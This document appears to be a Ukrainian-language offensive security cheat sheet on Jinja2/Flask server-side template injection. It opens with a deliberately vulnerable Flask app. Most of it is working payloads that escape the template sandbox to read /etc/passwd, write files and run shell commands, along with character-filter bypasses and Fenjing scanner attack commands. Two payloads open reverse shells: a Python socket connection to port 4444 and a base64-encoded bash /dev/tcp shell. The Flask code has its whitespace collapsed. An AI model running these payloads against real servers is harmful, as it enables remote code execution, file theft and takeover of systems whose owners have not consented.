from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Різне
Дебаг-інструкція
Якщо розширення дебагу увімкнено, тег debug буде доступний для виведення поточного контексту, а також доступних фільтрів і тестів. Це корисно для того, щоб побачити, що доступно для використання в шаблоні без налаштування дебагера.
<pre>{% debug %}</pre>
Вивантажити всі змінні конфігурації
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
По-перше, у Jinja-ін'єкції вам потрібно знайти спосіб вийти з пісочниці та відновити доступ до звичайного виконання python. Для цього вам потрібно зловживати об'єктами, які знаходяться в непісочній середовищі, але доступні з пісочниці.
Доступ до глобальних об'єктів
Наприклад, у коді render_template("hello.html", username=username, email=email) об'єкти username та email походять з непісочної python-середовища і будуть доступні всередині пісочної середовища.
Більше того, є інші об'єкти, які будуть завжди доступні з пісочної середовища, це:
[]
''
()
dict
config
request
Відновлення <class 'object'>
Тоді, з цих об'єктів нам потрібно дістатися до класу: <class 'object'> для того, щоб спробувати відновити визначені класи. Це тому, що з цього об'єкта ми можемо викликати метод __subclasses__ і отримати доступ до всіх класів з не-пісочниці python середовища.
Щоб отримати доступ до цього об'єктного класу, вам потрібно отримати доступ до об'єкта класу і потім отримати доступ або до __base__, __mro__()[-1] або .mro()[-1]. А потім, після досягнення цього об'єктного класу ми викликаємо__subclasses__().
Перевірте ці приклади:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
Відновивши<class 'object'> і викликавши __subclasses__, ми тепер можемо використовувати ці класи для читання та запису файлів і виконання коду.
Виклик __subclasses__ дав нам можливість отримати доступ до сотень нових функцій, ми будемо задоволені, просто отримавши доступ до класу файлів для читання/запису файлів або будь-якого класу з доступом до класу, який дозволяє виконувати команди (як os).
Читання/Запис віддаленого файлу
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Щоб дізнатися про більше класів, які ви можете використовувати для виходу, ви можете перевірити:
Ці обходи дозволять нам доступ до атрибутів об'єктів без використання деяких символів.
Ми вже бачили деякі з цих обходів у прикладах попереднього, але давайте підсумуємо їх тут:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
З глобальних об'єктів є інший спосіб отримати RCE без використання цього класу.
Якщо вам вдасться отримати доступ до будь-якої функції з цих глобальних об'єктів, ви зможете отримати доступ до __globals__.__builtins__ і звідти RCE буде дуже простим.
Ви можете знайти функції з об'єктів request, config та будь-якого іншого цікавого глобального об'єкта, до якого у вас є доступ, за допомогою:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Якщо ви знайшли деякі функції, ви можете відновити вбудовані функції за допомогою:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjinghttps://github.com/Marven11/Fenjing - це інструмент, який спеціалізується на CTF, але також може бути корисним для брутфорсу недійсних параметрів у реальному сценарії. Інструмент просто розпорошує слова та запити для виявлення фільтрів, шукаючи обходи, а також надає інтерактивну консоль.
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.